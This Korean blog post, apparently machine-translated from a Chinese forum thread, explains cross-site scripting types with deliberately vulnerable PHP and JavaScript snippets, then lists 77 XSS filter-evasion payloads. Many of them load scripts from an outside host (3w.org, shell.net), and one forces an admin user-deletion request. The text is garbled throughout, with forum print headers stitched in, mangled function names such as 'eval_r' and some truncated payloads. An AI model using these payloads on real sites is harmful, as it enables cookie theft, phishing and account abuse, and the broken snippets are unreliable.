XSS 공격 상식과 방법

1. XSS 란 무엇입니까?

XSS의 전체 이름은 사이트 간 스크립팅, 즉 사이트 간 스크립팅입니다. 대상 사용자의 대상 웹 사이트 브라우저가 HTML 문서를 렌더링하면 예기치 않은 스크립트 지침이 나타나고 실행될 때 XSS가 발생합니다.

여기에서 우리는 주로 4 가지 사항에주의를 기울입니다 : 1. 대상 웹 사이트의 대상 사용자; 2. 브라우저; 3. 예상치 못한; 4. 스크립트.

2. XSS의 위험은 무엇입니까?

우리가 XSS가 무엇인지 알면, 그 사용이 무엇인지, 그것이 어떤 해를 입히고 어떻게 방어하는지 알고 싶어 할 것입니다.

XSS와 관련된 위험에 대해서는 여기에 자세히 설명하지 않는 목록을 나열합니다.

  • 트로이목마 설치.
  • 사용자 쿠키를 훔치기.
  • 클라이언트 브라우저에 DOS (서비스 거부)공격.
  • 피싱 공격, 고급 피싱 기술.
  • 데이터를 삭제하고 악의적으로 변조하여 책임을 회피.
  • 사용자의 웹 방문을 가로 채고 조작하여 LAN 침투.
  • Web2.0 웜이 발생.
  • 웜형DDoS 공격.
  • 웜형 트로이목마, 광고, 페이지 뷰 및 온라인 데이터 파괴.
  • 기타 보안문제.

3. XSS 분류

XSS에는 반사 형 XSS (비 영구적), 스토리지 XSS (영구적) 및 DOM XSS의 세 가지 유형이 있습니다.

1. 반사 XSS

요청이 전송되면 XSS 코드가 URL에 나타나고 서버에 입력으로 제출됩니다 . 서버가 응답을 구문 분석 한 후 XSS 코드가 응답과 함께 브라우저로 다시 전달됩니다. 마지막으로 브라우저는 XSS 코드를 구문 분석하고 실행합니다. 이 프로세스는 리플렉션과 같으므로 리플렉션 XSS라고합니다.
간단한 예 :
http://www.a.com/xss/reflect.php코드는 다음과 같습니다.

<?phpecho $_GET['x'];?>

입력 x의 값이 출력이 어떤 필터링없이 직접 경우 제출 기능이 브라우저에서 트리거 할 것이다.http://www.foo.com/xss/reflect.php?x=<script>alert(1)</script>
alert()

2. 스토리지 XSS

스토리지 XSS와 반사 형 XSS의 차이점은 제출 된 코드가 서버 ( 데이터베이스 , 메모리, 파일 시스템 등)에 저장되고 다음에 대상 페이지를 요청할 때 XSS 코드를 제출할 필요가 없다는 것입니다.

가장 일반적인 예는 메시지 보드 XSS이며, 사용자는 XSS 코드가 포함 된 메시지를 제출하여 데이터베이스에 저장합니다. 대상 사용자가 메시지 보드를 볼 때 해당 메시지의 내용이 데이터베이스에서 쿼리되고 표시됩니다. 브라우저는 XSS 코드가 정상으로 간주됩니다 HTML과 J가 파싱되어 실행되어 XSS 공격이 시작되었습니다.

3. DOM XSS

DOM XSS, 리플 렉 티브 XSS 및 스토리지 XSS의 차이점은 DOM XSS 코드에 서버가 참여할 필요가 없다는 것입니다 .XSS 트리거링은 전적으로 클라이언트의 비즈니스 인 브라우저 측 DOM 구문 분석에 의존합니다.
http://www.a.com/xss/domxss.html아래와 같이 코드 쇼 :

<script>eval(location.hash.substr(1));</script>

트리거 모드는 다음과 같습니다.http://www.a.com/xss/domxss.html#alert(1)

이 URL # 이후의 컨텐츠는 서버로 전송되지 않고 클라이언트에서만 수신 및 실행됩니다.
일반적인 입력 포인트는 다음과 같습니다.

document.URLdocument.URLUnencodeddocument.locationdocument.referrerwindow.locationwindow.name

xhr은 반환 된 데이터를 요청합니다

document.cookie

양식 항목 값

일반적인 출력 포인트는 다음
과 같습니다.

document.write(...)document.writeln(...)document.body.innerHtml=...

다음과 같은 DOM 트리 (DHTML 포함)를 직접 수정하십시오.

document.forms[0].action...(以及其他集合,如:一些对象的src/href属性等)document.attachEvent(...)document.create...(...)document.execCommand(...)document.body. ...(直接通过body对象访问DOM)window.attachEvent(...)

다음과 같은 문서 URL을 바꾸십시오.

document.location=...(以及直接赋值给location的href,host,hostname属性)document.location.hostname=...document.location.replace(...)document.location.assign(...)document.URL=...window.navigate(...)

다음과 같은 새 창을 열거 나 수정하십시오.

document.open(...)window.open(...)window.location.href=...(以及直接赋值给location的href,host,hostname属性)直接执行脚本,如:eval(...)window.execScript(...)window.setInterval(...)window.setTimeout(...)

4.일반적인 XSS 공격 방법

1.일반적인 XSS  JavaScript 주입

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

2.IMG 태그 XSS는 JavaScript 명령을 사용합니다.

<IMG SRC=http://3w.org/XSS/xss.js/>

3.세미콜론이없고 따옴표가없는 IMG 태그

<IMG SRC=javascript:alert('XSS')>

4.IMG 태그는 대소 문자를 구분하지 않습니다

<IMG SRC=JaVaScRiPt:alert('XSS')>

5.HTML 인코딩 (세미콜론이 있어야 함)

<IMG SRC=javascript:alert("XSS")>

6.결함 IMG 라벨 수정

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

7. formCharCode 레이블 (계산기)

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

8.UTF-8 유니 코드 인코딩 (계산기)

<IMG SRC=jav..생략..S')>

9. 7 비트 UTF-8 유니 코드 인코딩에는 세미콜론 (계산기)이 없습니다.

<IMG SRC=jav..생략..S')>

10. 16 진수 인코딩에도 세미콜론 (계산기)이 없습니다.

<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>

11.임베디드 태그, 별도 Javascript

<IMG SRC="jav ascript:alert('XSS');">

12.임베디드 코딩 태그, 별도 Javascript

<IMG SRC="jav ascript:alert('XSS');">

13.포함 된 개행

<IMG SRC="jav ascript:alert('XSS');">

14.임베디드 캐리지 리턴

<IMG SRC="jav ascript:alert('XSS');">

15.JavaScript의 내장 된 여러 줄 주입, 이것은 XSS의 극단적 인 예입니다

<IMG SRC="javascript:alert('XSS')">

16.제한된 문자를 풉니 다 (같은 페이지 필요).

<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><script>z=z+' src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)</script>

17.널 캐릭터 12-7-1 T00LS-Powered by Discuz!

https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

18.널 문자 2, 널 문자는 기본적으로 중국에서 영향을 미치지 않습니다. 사용할 장소가 없기 때문에

perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out

19.공백과 메타 앞의 IMG 태그

<IMG SRC=" javascript:alert('XSS');">

20.알파벳이 아닌 숫자가 아닌 XSS

<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>

21.영숫자가 아닌 XSS에서 2로

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

22.영숫자가 아닌 XSS-3

<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>

23.더블 오픈 브래킷

<<SCRIPT>alert("XSS");//<</SCRIPT>

24.엔드 스크립트 태그 없음 (Firefox 및 기타 브라우저 만 해당)

<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

25. 엔드 스크립트 태그 없음 2

<SCRIPT SRC=//3w.org/XSS/xss.js>

26. 하프 오픈 HTML / JavaScript XSS

<IMG SRC="javascript:alert('XSS')"

27. 이중 개방 앵글 브래킷

<iframe src=http://3w.org/XSS.html <

28.작은 따옴표, 큰 따옴표, 세미콜론 없음

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

29. 이스케이프 필터링 JavaScript

\";alert('XSS');//

30. 끝 제목 태그

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

31.입력 이미지

<INPUT SRC="javascript:alert('XSS');">

32. BODY 이미지

<BODY BACKGROUND="javascript:alert('XSS')">

33. BODY 태그

<BODY('XSS')>

34. IMG 다 인크

<IMG DYNSRC="javascript:alert('XSS')">

35. IMG 저음

<IMG LOWSRC="javascript:alert('XSS')">

36. BGSOUND

<BGSOUND SRC="javascript:alert('XSS');">

37. STYLE 시트

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

38. 리모트 스타일 시트

<LINK REL="stylesheet" HREF="http://3w.org/xss.css">

39.리스트 스타일 이미지 (리스트 스타일)

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS

40. IMG VBscript

<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS

41. 메타 링크 URL

<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">

42. 아이 프레임

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

43. 프레임

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz! Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6

44.표

<TABLE BACKGROUND="javascript:alert('XSS')">

45.TD

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

46. DIV 배경 이미지

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

47. DIV 배경 이미지 뒤에 추가 문자 추가 (1-32 및 34 및 39 및 160 및 8192-8
및 13 및 12288 및 65279)

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

48. DIV 발현

<DIV STYLE="width: expression_r(alert('XSS'));">

49. STYLE 속성 분할 식

<IMG STYLE="xss:expression_r(alert('XSS'))">

50. 익명 스타일 (구성 : 쉼표 열기 및 문자로 시작)

<XSS STYLE="xss:expression_r(alert('XSS'))">

51. 스타일 배경 이미지

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>

52. IMG 스타일

exppression(alert("XSS"))'>

53. 스타일 배경

<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

54. 베이스

<BASE HREF="javascript:alert('XSS');//">

55. EMBED 태그, XSS가 포함 된 FLASH를 포함 할 수 있습니다

<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>

56. 플래시에서 ActionScrpt를 사용하여 XSS 코드에서 혼합

a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);

57. XML namespace.HTC 파일은 XSS 캐리어와 동일한 서버에 있어야합니다

<HTML xmlns:xss><?import namespace="xss" implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>

58. JS를 필터링하면 그림에 JS 코드를 추가하여 사용할 수 있습니다

<SCRIPT SRC=""></SCRIPT>

59. IMG 내장 명령, 모든 명령을 실행할 수 있습니다

<IMG SRC="http://www.a.com/a.php?a=b">

60. IMG 내장 명령 (같은 서버의 a.jpg)

Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

61. 심볼 주변 필터링

<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>

62.

<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>

63.

<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>

64.

<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>

65.

<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>

66. 12-7-1 T00LS-Powered by Discuz! 보드

https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>" SRC="http://3w.org/xss.js"></SCRIPT>

67.

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>

68. URL 우회

<A HREF="http://127.0.0.1/">XSS</A>

69. URL 인코딩

<A HREF="http://3w.org">XSS</A>

70. IP 십진수

<A HREF="http://3232235521″>XSS</A>

71. IP 헥스

<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>

72. IP 8 진

<A HREF="http://0300.0250.0000.0001″>XSS</A>

73. 하이브리드 코딩

<A HREF="http://6 6.000146.0×7.147/"">XSS</A>

74. 저장 [http :]

<A HREF="//www.google.com/">XSS</A>

75. 저장 [www]

<A HREF="http://google.com/">XSS</A>

76. 절대 점 절대 DNS

<A HREF="http://www.google.com./">XSS</A>

77. 자바 스크립트 링크

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

답글 남기기

이메일 주소는 공개되지 않습니다.